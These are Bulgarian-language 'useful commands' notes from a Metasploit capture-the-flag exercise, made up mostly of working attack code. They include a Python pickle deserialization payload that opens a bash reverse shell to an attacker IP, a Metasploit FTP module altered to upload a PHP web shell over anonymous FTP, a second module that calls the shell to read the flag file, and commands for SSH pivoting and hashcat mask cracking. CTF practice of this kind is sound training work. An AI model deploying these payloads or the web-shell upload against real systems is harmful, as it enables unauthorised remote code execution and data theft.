# Полезни команди `sshuttle -vvv -e 'ssh -i ./metasploit_ctf_kali_ssh_key.pem' -r kali@34.227.205.13 -x 34.227.205.13 172.15.1.117/32` `ssh -i metasploit_ctf_kali_ssh_key.pem -Nf -D 127.0.0.1:9050 kali@34.227.205.13 ` Noob хашкотка: `hashcat -m 0 pass_to_crack.txt -a 3 ihatesalt?1?1?1?1?1?1 -i --increment-min 9 --increment-max 15 -1 ?l?d --force -O` Port 8888 > cookie deserialization vuln: ``` import pickle import base64 import os class RCE: def __reduce__(self): cmd = """ python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.15.1.116",44444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' """ return os.system, (cmd,) pickled = pickle.dumps(RCE()) print(base64.b64encode(pickled)) ``` порт 8101 за upoload на "test.php" което да послужи после за rce през ftp-то ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'Anonymous FTP Access Detection', 'Description' => 'Detect anonymous (read/write) FTP server access.', 'References' => [ ['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'], ], 'Author' => 'Matteo Cantoni <goony[at]nothink.org>', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(21), ]) end def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8) data = Base64.decode64('PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImUiXSk7ID8+Cg==') if res #write_check = send_cmd(['cd', files] , true) write_check = send_cmd( ["CWD", 'files'], true ) #raw_send_recv('DIR') #raw_send_recv('PWD') if write_check && write_check =~ /^2/ send_cmd_data(["PUT", "test.php"], data, "I") print_good("#{target_host}:#{rport} - Anonymous READ/WRITE (#{banner})") access_type = 'Read/Write' else print_good("#{target_host}:#{rport} - Anonymous READ (#{banner})") access_type = 'Read-only' end register_creds(target_host, access_type) end disconnect rescue ::Interrupt raise $ERROR_INFO rescue ::Rex::ConnectionError, ::IOError end end def register_creds(target_host, access_type) # Build service information service_data = { address: target_host, port: datastore['RPORT'], service_name: 'ftp', protocol: 'tcp', workspace_id: myworkspace_id } # Build credential information credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['FTPPASS'], private_type: :password, username: datastore['FTPUSER'], workspace_id: myworkspace_id } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { access_level: access_type, core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL, workspace_id: myworkspace_id } login_data.merge!(service_data) create_credential_login(login_data) end end ``` и resource скрипта с него ``` # The module is copied to `modules/exploits/`, so don't change this use exploit/module # Do your datastore initialization here # e.g.: # set USERNAME foo # set payload ... set FTPUSER ftpuser set FTPPASS ftpuser # Make sure everything is alright show options # this will execute the module and put any session in background run -z # This block of ruby code is useful to make sure a session is setup before # interacting with it. Feel free to update this code. <ruby> print_status('Waiting a bit to make sure the session is completely setup...') timeout = 10 loop do break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys) sleep 1 timeout -= 1 end if framework.sessions.any? && framework.sessions.first[1].sys # Here is where we can interact with the session (shell or meterpreter). # The session number should be 1 at this point. # e.g. (for a meterpreter session): # run_single("sessions -i 1 -C 'ls'") # run_single("sessions -i 1 -C 'cat /etc/passwd'") end </ruby> ``` за rce-то като модул скрипт ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Anonymous FTP Access Detection', 'Description' => 'Detect anonymous (read/write) FTP server access.', 'References' => [ ['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'], ], 'Author' => 'Matteo Cantoni <goony[at]nothink.org>', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/']) ]) end def run_host(target_host) begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', '?e=cat+/var/www/5_of_clubs*|base64'), 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? if res && res.code == 200 vprint_status("#{peer} - Works! (response code: Found#{res.body})") end if res && res.code == 404 fail_with(Failure::UnexpectedReply, "#{peer} - Check target uri:error code #{res.code}") end rescue ::Rex::ConnectionError raise $ERROR_INFO rescue ::Rex::ConnectionError, ::IOError end end def register_creds(target_host, access_type) # Build service information service_data = { address: target_host, port: datastore['RPORT'], service_name: 'ftp', protocol: 'tcp', workspace_id: myworkspace_id } # Build credential information credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['FTPPASS'], private_type: :password, username: datastore['FTPUSER'], workspace_id: myworkspace_id } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { access_level: access_type, core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL, workspace_id: myworkspace_id } login_data.merge!(service_data) create_credential_login(login_data) end end ``` като ресурс файл ``` # The module is copied to `modules/exploits/`, so don't change this use exploit/module # Do your datastore initialization here # e.g.: # set USERNAME foo # set payload ... set TARGETURI files/test.php #set TARGETURI index.php # Make sure everything is alright show options # this will execute the module and put any session in background run -z # This block of ruby code is useful to make sure a session is setup before # interacting with it. Feel free to update this code. <ruby> print_status('Waiting a bit to make sure the session is completely setup...') timeout = 10 loop do break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys) sleep 1 timeout -= 1 end if framework.sessions.any? && framework.sessions.first[1].sys # Here is where we can interact with the session (shell or meterpreter). # The session number should be 1 at this point. # e.g. (for a meterpreter session): # run_single("sessions -i 1 -C 'ls'") # run_single("sessions -i 1 -C 'cat /etc/passwd'") end </ruby> ``` флага е в /var/www/5_of_clubs.png